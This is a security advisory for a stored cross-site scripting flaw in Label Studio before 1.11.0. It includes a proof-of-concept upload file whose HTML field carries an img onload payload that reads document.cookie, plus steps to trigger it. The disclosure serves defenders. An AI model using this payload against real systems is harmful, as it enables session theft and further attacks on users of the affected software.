Description
### Summary
On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a [`Choices`](https://labelstud.io/tags/choices) or [`Labels`](https://labelstud.io/tags/labels) tag, resulting in an XSS vulnerability.
### Details
Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.
### PoC
1. Create a project.
2. Upload a file containing the payload using the "Upload Files" function.
The following are the contents of the files used in the PoC
```
{
"data": {
"prompt": "labelstudio universe image",
"images": [
{
"value": "id123#0",
"style": "margin: 5px",
"html": "<img width='400' src='https://labelstud.io/_astro/images-tab.64279c16_ZaBSvC.avif' onload=alert(document.cookie)>"
}
]
}
}
```
3. Select the text-to-image generation labeling template of Ranking and scoring
4. Select a task
5. Check that the script is running
### Impact
Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.
